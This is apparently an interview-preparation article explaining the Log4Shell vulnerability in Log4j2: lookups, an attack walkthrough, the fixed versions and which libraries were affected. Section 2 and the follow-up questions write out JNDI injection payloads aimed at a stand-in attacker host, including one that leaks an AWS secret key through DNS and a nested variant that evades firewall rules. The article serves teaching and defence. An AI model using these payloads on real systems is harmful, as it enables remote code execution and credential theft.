Scrivio Interview library
ConceptFoundations7 min read · updated 12 November 2026

Explain how the Log4Shell vulnerability (CVE-2021-44228) worked in Log4j2 and why simply logging a user-supplied header could lead to remote code execution. Which versions fixed it?

Log4j2 versions 2.0-beta9 to 2.14.1 evaluated lookups such as ${jndi:ldap://attacker/x} inside logged messages, so logging any attacker-supplied text, a User-Agent header or a user name, made the server contact the attacker's LDAP server. That server could answer with a reference to a remote Java class or a serialized gadget chain, which led to code running inside our JVM. The fixes came in steps: 2.15.0 turned message lookups off by default, 2.16.0 removed them and disabled JNDI, 2.17.0 fixed a recursion denial of service, and 2.17.1 fixed a JDBC appender issue, so Java 8 and later need at least 2.17.1.

Why this question is asked

Log4Shell, disclosed in December 2021, is the best-known Java security incident of the last decade, and it changed how companies think about dependencies. Interviewers ask about it because it shows whether we understand how an innocent line like log.info("User agent: {}", ua) can become remote code execution, and because the same pattern, a feature that evaluates data, appears in other places too. In this answer, we will recap what Log4j2 lookups are, follow an attack step by step, see why any logged value was enough, walk through the fixed versions, and see which libraries were and were not affected.

1A Quick Recap of Log4j2 Lookups

Log4j2 has a feature called lookups: placeholders of the form ${prefix:key} that Log4j replaces with a value when it builds a log line. ${env:HOME} reads an environment variable, ${sys:user.dir} a system property, ${java:version} the Java version, and ${ctx:requestId} a value from the thread context. They were designed for configuration files, so a pattern could include the host name or an environment name.

One prefix was jndi. JNDI, the Java Naming and Directory Interface, is a JDK API for looking up objects by name in a directory such as LDAP or RMI. ${jndi:ldap://host/name} told Log4j to ask that LDAP server for an object. The fatal detail was that, in the affected versions, Log4j also evaluated lookups inside the message itself, the text and parameters our code passed to log.info().

2Following an Attack Step by Step

The attacker sends a request with a header such as User-Agent: ${jndi:ldap://evil.example:1389/a}. Our code logs the header, which is a perfectly normal thing to do. When Log4j formats the line, it finds the ${...} in the message and runs the JNDI lookup.

Java
// Our ordinary code
log.info("Request from agent {}", request.getHeader("User-Agent"));
// What the attacker sends
// User-Agent: ${jndi:ldap://evil.example:1389/a}
// What log4j-core 2.14.1 did while formatting the message
// 1. found ${jndi:ldap://evil.example:1389/a} in the formatted text
// 2. JNDI connected to evil.example:1389 over LDAP
// 3. the LDAP answer pointed at a class or a serialized object
// 4. the JVM loaded or deserialized it -> attacker code runs in our process
Step throughHow one logged header became remote code execution
AttackerOur serviceLog4j coreAttacker LDAP
request with User-Agent ${jndi:ldap://...}
log.info("agent {}", userAgent)
format message, evaluate the ${jndi:...} lookup
LDAP query for /a
reference to a class or a serialized payload
load or deserialize it: attacker code runs

6 messages in order. Play them, or step through them one at a time.

The service did nothing unusual; logging the header was enough.

The LDAP server could answer in two dangerous ways. It could return a reference that names a factory class and a codebase URL, and older JDKs would download and run that class. Newer JDKs (8u191 and later) refuse remote codebases by default, but the server could instead return a serialized object or a reference to a factory class already on our classpath, and with the right libraries present, a gadget chain turned that into code execution. Even when neither worked, a lookup such as ${jndi:ldap://${env:AWS_SECRET_ACCESS_KEY}.evil.example/a} leaked secrets through the DNS name it resolved.

3Why Any Logged Value Was Enough

The attack did not need a special endpoint or a mistake in our code. It needed only that some attacker-controlled text reached a log message: a header, a user name on a failed login, a search term, a chat message, a file name. Services log such values all the time, often in filters, error handlers or libraries we never read. Payloads even travelled through other systems, for example a crafted device name that was logged by a backend far from the internet.

Notice that the danger came from a feature that interprets data. Logging should only record what it is given. Once the logging library treated part of the data as instructions, every logged string became a possible input to a code path that opened network connections.

4The Fixes, Version by Version

The fixes came in quick steps, because each release closed one hole and researchers found the next. Version 2.15.0 disabled message lookups by default and limited JNDI to local hosts. That was not enough: lookups could still be reached through the thread context in some non-default patterns (CVE-2021-45046). Version 2.16.0 removed message lookups completely and disabled JNDI by default. Version 2.17.0 fixed a denial of service through self-referencing lookups that recursed forever (CVE-2021-45105). Version 2.17.1 fixed an issue with the JDBC appender and JNDI when an attacker could change the configuration (CVE-2021-44832).

Log4j2 releases after Log4Shell
VersionWhat it changedCVE addressed
2.14.1 and oldermessage lookups evaluated, JNDI enabledCVE-2021-44228 (Log4Shell)
2.15.0message lookups off by default, JNDI limitedCVE-2021-44228, partly
2.16.0message lookups removed, JNDI disabled by defaultCVE-2021-45046
2.17.0infinite recursion in lookups fixedCVE-2021-45105
2.17.1JDBC appender JNDI issue fixedCVE-2021-44832
For Java 8 and later, 2.17.1 was the minimum safe version.

So the practical rule was 2.17.1 or later for Java 8 and newer; separate backport lines (2.12.4 for Java 7 and 2.3.2 for Java 6) existed for old runtimes. Today we should simply be on a current 2.x release. Where patching had to wait, the emergency mitigation was to delete the JndiLookup class from the log4j-core jar, which removed the dangerous lookup without changing anything else.

5Who Was and Was Not Affected

The vulnerable code was in log4j-core, the Log4j2 backend. log4j-api alone, the API jar that libraries compile against, did not contain it. Applications that used log4j-api with a different backend, for example log4j-to-slf4j routing into Logback, were not vulnerable to this issue. Logback itself was not affected by Log4Shell, though it had its own, much less severe, configuration-based JNDI issue fixed in 1.2.9 around the same time. Log4j 1.x did not have message lookups, but it was already end of life with its own unfixed vulnerabilities, so it was never the safe answer.

This is why the first question during the incident was not "do we use Log4j" but "do we have log4j-core, and which version", including copies hidden inside fat jars and vendor products.

YAML
# Find log4j-core in a Maven project, with versions
mvn dependency:tree -Dincludes=org.apache.logging.log4j:log4j-core
# [INFO] \- org.apache.logging.log4j:log4j-core:jar:2.14.1:compile -> vulnerable

6Follow-up questions

Why did setting formatMsgNoLookups not fully solve it?

The flag log4j2.formatMsgNoLookups=true, available from 2.10, only stopped lookups in the message text, the %m part of the pattern. Lookups could still run elsewhere: a pattern that used ${ctx:...} to print thread context values, which applications often filled with request data, would still evaluate attacker input, and that is the hole CVE-2021-45046 described. The flag also did nothing on versions older than 2.10. So it reduced the risk but did not remove the JNDI lookup itself, which is why upgrading or deleting JndiLookup was the real fix.

Did a modern JDK protect us?

Partly. JDKs from 8u191 and 11.0.1 stopped loading classes from remote codebases through JNDI by default, which blocked the simplest exploit. But deserialization gadgets and local factory classes still allowed code execution in many applications, and the DNS-based leak of secrets worked on any JDK. A current JDK helped; it was not a fix.

Could a web application firewall have stopped it?

It blocked the obvious strings for a while, but attackers quickly used nested lookups such as ${${lower:j}ndi:...} to hide the pattern, and payloads also arrived through channels a WAF never sees. WAF rules were a useful first hour measure, not a solution.

7Conclusion

In this answer, we saw that Log4Shell came from Log4j2 evaluating lookups inside logged messages, so a value like ${jndi:ldap://...} in a header made log4j-core contact the attacker's LDAP server and load or deserialize what came back, which led to remote code execution. Any logged attacker-controlled value was enough. The fixes came in steps from 2.15.0 to 2.17.1, the minimum for Java 8 and later, and only log4j-core was affected, not log4j-api alone and not Logback.

What to say in the interviewAbout 80 seconds aloud

Open with

Log4j2 had a feature called lookups, placeholders like dollar brace env colon HOME that are replaced when the line is formatted. One of them was jndi, which asks a directory server such as LDAP for an object.

Then, if they want more

In versions from 2.0-beta9 up to 2.14.1, Log4j evaluated lookups inside the message itself, including the parameters we pass. So if an attacker sent a User-Agent header containing a jndi ldap lookup pointing at their server, and we logged that header, log4j-core connected to their LDAP server.

The server answered with a reference to a remote class, which older JDKs would load, or with a serialized object or local factory that triggered a gadget chain, and their code ran in our JVM. It could also leak secrets through DNS names. Any logged value the attacker controls was enough, which is why it was so widespread.

The fixes came in steps: 2.15.0 disabled message lookups by default, 2.16.0 removed them and disabled JNDI, 2.17.0 fixed a recursion denial of service, and 2.17.1 a JDBC appender issue, so for Java 8 and later the minimum was 2.17.1. Only log4j-core was affected; log4j-api with another backend and Logback were not affected by this issue. The formatMsgNoLookups flag was only a partial mitigation.

About this answer

Last updated
12 November 2026
Versions it names
Java 8, Java 6, Java 7
Checked
Its structure and format are checked automatically. Use it as a carefully prepared study note: where a detail matters, confirm it against the official documentation for the version you use. What the checks cover
Where the question comes from
Written by Scrivio for practice. It is not taken from an interview.
Report an issue with this answer

Copy the line below and send it to the author with what you found. It carries the address of this page.

Issue with "Explain how the Log4Shell vulnerability (CVE-2021-44228) worked in Log4j2 and why simply...": https://scrivio-interview-library.netlify.app/java/java-logging/f6cc3ec25c/